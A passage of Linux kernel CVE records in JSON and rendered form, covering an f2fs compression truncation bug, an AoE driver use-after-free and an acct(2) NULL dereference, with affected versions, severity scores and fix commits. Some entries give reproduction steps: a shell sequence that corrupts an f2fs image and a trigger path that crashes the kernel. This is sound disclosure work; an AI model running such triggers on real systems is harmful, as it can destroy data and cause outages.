          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.14"
            },
            {
              "lessThan": "5.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: compress: don\u0027t allow unaligned truncation on released compress inode\n\nf2fs image may be corrupted after below testcase:\n- mkfs.f2fs -O extra_attr,compression -f /dev/vdb\n- mount /dev/vdb /mnt/f2fs\n- touch /mnt/f2fs/file\n- f2fs_io setflags compression /mnt/f2fs/file\n- dd if=/dev/zero of=/mnt/f2fs/file bs=4k count=4\n- f2fs_io release_cblocks /mnt/f2fs/file\n- truncate -s 8192 /mnt/f2fs/file\n- umount /mnt/f2fs\n- fsck.f2fs /dev/vdb\n\n[ASSERT] (fsck_chk_inode_blk:1256)  --\u003e ino: 0x5 has i_blocks: 0x00000002, but has 0x3 blocks\n[FSCK] valid_block_count matching with CP             [Fail] [0x4, 0x5]\n[FSCK] other corrupted bugs                           [Fail]\n\nThe reason is: partial truncation assume compressed inode has reserved\nblocks, after partial truncation, valid block count may change w/o\n.i_blocks and .total_valid_block_count update, result in corruption.\n\nThis patch only allow cluster size aligned truncation on released\ncompress inode for fixing."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:53.517Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b8962cf98595d1ec62f40f23667de830567ec8bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/8acae047215024d1ac499b3c8337ef1b952f160b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ccf5210dc941a7aa0180596ac021568be4d35ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/9f9341064a9b5246a32a7fe56b9f80c6f7f3c62d"
        },
        {
          "url": "https://git.kernel.org/stable/c/5268241b41b1c5d0acca75e9b97d4fd719251c8c"
        },
        {
          "url": "https://git.kernel.org/stable/c/29ed2b5dd521ce7c5d8466cd70bf0cc9d07afeee"
        }
      ],
      "title": "f2fs: compress: don\u0027t allow unaligned truncation on released compress inode",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-33847",
    "datePublished": "2024-06-24T13:56:48.723Z",
    "dateReserved": "2024-06-24T13:54:11.027Z",
    "dateUpdated": "2026-05-12T11:51:56.112Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26898 (GCVE-0-2024-26898)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

aoe: fix the potential use-after-free problem in aoecmd_cfg_pkts

Summary

In the Linux kernel, the following vulnerability has been resolved: aoe: fix the potential use-after-free problem in aoecmd_cfg_pkts This patch is against CVE-2023-6270. The description of cve is: A flaw was found in the ATA over Ethernet (AoE) driver in the Linux kernel. The aoecmd_cfg_pkts() function improperly updates the refcnt on `struct net_device`, and a use-after-free can be triggered by racing between the free on the struct and the access through the `skbtxq` global queue. This could lead to a denial of service condition or potential code execution. In aoecmd_cfg_pkts(), it always calls dev_put(ifp) when skb initial code is finished. But the net_device ifp will still be used in later tx()->dev_queue_xmit() in kthread. Which means that the dev_put(ifp) should NOT be called in the success path of skb initial code in aoecmd_cfg_pkts(). Otherwise tx() may run into use-after-free because the net_device is freed. This patch removed the dev_put(ifp) in the success path in aoecmd_cfg_pkts(), and added dev_put() after skb xmit in tx().

Severity ?

7 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/ad80c34944d7175fa…
https://git.kernel.org/stable/c/1a54aa506b3b2f314…
https://git.kernel.org/stable/c/faf0b4c5e00bb680e…
https://git.kernel.org/stable/c/7dd09fa80b0765ce6…
https://git.kernel.org/stable/c/74ca3ef68d2f449bc…
https://git.kernel.org/stable/c/eb48680b0255a9e8a…
https://git.kernel.org/stable/c/079cba4f4e307c698…
https://git.kernel.org/stable/c/a16fbb80064634b25…
https://git.kernel.org/stable/c/f98364e926626c678…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < ad80c34944d7175fa1f5c7a55066020002921a99 (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < 1a54aa506b3b2f31496731039e49778f54eee881 (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < faf0b4c5e00bb680e8e43ac936df24d3f48c8e65 (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < 7dd09fa80b0765ce68bfae92f4e2f395ccf0fba4 (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < 74ca3ef68d2f449bc848c0a814cefc487bf755fa (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < eb48680b0255a9e8a9bdc93d6a55b11c31262e62 (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < 079cba4f4e307c69878226fdf5228c20aa1c969c (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < a16fbb80064634b254520a46395e36b87ca4731e (git) Affected: 7562f876cd93800f2f8c89445f2a563590b24e09 , < f98364e926626c678fb4b9004b75cacf92ff0662 (git)
Linux	Linux	Affected: 2.6.22 Unaffected: 0 , < 2.6.22 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:2.6.22:-:*:*:*:*:*:*"
            ],
            "defaultStatus": "affected",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "2.6.22"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unaffected",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "ad80c34944d7",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "1a54aa506b3b",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "faf0b4c5e00b",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "7dd09fa80b07",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "74ca3ef68d2f",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "eb48680b0255",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "079cba4f4e30",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "a16fbb800646",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              },
              {
                "lessThan": "f98364e92662",
                "status": "affected",
                "version": "7562f876cd93",
                "versionType": "git"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26898",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-12T16:22:28.091007Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-22T14:55:25.413Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.475Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ad80c34944d7175fa1f5c7a55066020002921a99"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1a54aa506b3b2f31496731039e49778f54eee881"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/faf0b4c5e00bb680e8e43ac936df24d3f48c8e65"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7dd09fa80b0765ce68bfae92f4e2f395ccf0fba4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/74ca3ef68d2f449bc848c0a814cefc487bf755fa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eb48680b0255a9e8a9bdc93d6a55b11c31262e62"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/079cba4f4e307c69878226fdf5228c20aa1c969c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a16fbb80064634b254520a46395e36b87ca4731e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f98364e926626c678fb4b9004b75cacf92ff0662"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:22.149Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/block/aoe/aoecmd.c",
            "drivers/block/aoe/aoenet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ad80c34944d7175fa1f5c7a55066020002921a99",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "1a54aa506b3b2f31496731039e49778f54eee881",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "faf0b4c5e00bb680e8e43ac936df24d3f48c8e65",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "7dd09fa80b0765ce68bfae92f4e2f395ccf0fba4",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "74ca3ef68d2f449bc848c0a814cefc487bf755fa",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "eb48680b0255a9e8a9bdc93d6a55b11c31262e62",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "079cba4f4e307c69878226fdf5228c20aa1c969c",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "a16fbb80064634b254520a46395e36b87ca4731e",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            },
            {
              "lessThan": "f98364e926626c678fb4b9004b75cacf92ff0662",
              "status": "affected",
              "version": "7562f876cd93800f2f8c89445f2a563590b24e09",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/block/aoe/aoecmd.c",
            "drivers/block/aoe/aoenet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.22"
            },
            {
              "lessThan": "2.6.22",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naoe: fix the potential use-after-free problem in aoecmd_cfg_pkts\n\nThis patch is against CVE-2023-6270. The description of cve is:\n\n  A flaw was found in the ATA over Ethernet (AoE) driver in the Linux\n  kernel. The aoecmd_cfg_pkts() function improperly updates the refcnt on\n  `struct net_device`, and a use-after-free can be triggered by racing\n  between the free on the struct and the access through the `skbtxq`\n  global queue. This could lead to a denial of service condition or\n  potential code execution.\n\nIn aoecmd_cfg_pkts(), it always calls dev_put(ifp) when skb initial\ncode is finished. But the net_device ifp will still be used in\nlater tx()-\u003edev_queue_xmit() in kthread. Which means that the\ndev_put(ifp) should NOT be called in the success path of skb\ninitial code in aoecmd_cfg_pkts(). Otherwise tx() may run into\nuse-after-free because the net_device is freed.\n\nThis patch removed the dev_put(ifp) in the success path in\naoecmd_cfg_pkts(), and added dev_put() after skb xmit in tx()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:33.344Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ad80c34944d7175fa1f5c7a55066020002921a99"
        },
        {
          "url": "https://git.kernel.org/stable/c/1a54aa506b3b2f31496731039e49778f54eee881"
        },
        {
          "url": "https://git.kernel.org/stable/c/faf0b4c5e00bb680e8e43ac936df24d3f48c8e65"
        },
        {
          "url": "https://git.kernel.org/stable/c/7dd09fa80b0765ce68bfae92f4e2f395ccf0fba4"
        },
        {
          "url": "https://git.kernel.org/stable/c/74ca3ef68d2f449bc848c0a814cefc487bf755fa"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb48680b0255a9e8a9bdc93d6a55b11c31262e62"
        },
        {
          "url": "https://git.kernel.org/stable/c/079cba4f4e307c69878226fdf5228c20aa1c969c"
        },
        {
          "url": "https://git.kernel.org/stable/c/a16fbb80064634b254520a46395e36b87ca4731e"
        },
        {
          "url": "https://git.kernel.org/stable/c/f98364e926626c678fb4b9004b75cacf92ff0662"
        }
      ],
      "title": "aoe: fix the potential use-after-free problem in aoecmd_cfg_pkts",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26898",
    "datePublished": "2024-04-17T10:27:48.466Z",
    "dateReserved": "2024-02-19T14:20:24.186Z",
    "dateUpdated": "2026-05-12T11:50:22.149Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21846 (GCVE-0-2025-21846)

Vulnerability from cvelistv5 – Published: 2025-03-12 09:42 – Updated: 2026-05-12 12:04

Title

acct: perform last write from workqueue

Summary

In the Linux kernel, the following vulnerability has been resolved: acct: perform last write from workqueue In [1] it was reported that the acct(2) system call can be used to trigger NULL deref in cases where it is set to write to a file that triggers an internal lookup. This can e.g., happen when pointing acc(2) to /sys/power/resume. At the point the where the write to this file happens the calling task has already exited and called exit_fs(). A lookup will thus trigger a NULL-deref when accessing current->fs. Reorganize the code so that the the final write happens from the workqueue but with the caller's credentials. This preserves the (strange) permission model and has almost no regression risk. This api should stop to exist though.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/8acbf4a88c6a98c8e…
https://git.kernel.org/stable/c/b03782ae707cc45e6…
https://git.kernel.org/stable/c/5d5b936cfa4b0d567…
https://git.kernel.org/stable/c/5ee8da9bea70dda49…
https://git.kernel.org/stable/c/5c928e14a2ccd9946…
https://git.kernel.org/stable/c/5a59ced8ffc71973d…
https://git.kernel.org/stable/c/a8136afca090412a3…
https://git.kernel.org/stable/c/56d5f3eba3f5de0ef…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8acbf4a88c6a98c8ed00afd1a7d1abcca9b4735e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < b03782ae707cc45e65242c7cddd8e28f1c22cde5 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5d5b936cfa4b0d5670ca7420ef165a074bc008eb (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5ee8da9bea70dda492d61f075658939af33d8410 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5c928e14a2ccd99462f2351ead627b58075bb736 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5a59ced8ffc71973d42c82484a719c8f6ac8f7f7 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a8136afca090412a36429cb6c2543c714d9c0f84 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 56d5f3eba3f5de0efdd556de4ef381e109b973a9 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.17 , ≤ 6.12.* (semver) Unaffected: 6.13.5 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21846",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:26:33.271867Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:36:34.267Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:38:03.560Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:04:03.338Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/acct.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8acbf4a88c6a98c8ed00afd1a7d1abcca9b4735e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "b03782ae707cc45e65242c7cddd8e28f1c22cde5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5d5b936cfa4b0d5670ca7420ef165a074bc008eb",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5ee8da9bea70dda492d61f075658939af33d8410",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5c928e14a2ccd99462f2351ead627b58075bb736",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5a59ced8ffc71973d42c82484a719c8f6ac8f7f7",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a8136afca090412a36429cb6c2543c714d9c0f84",
              "status": "affected",
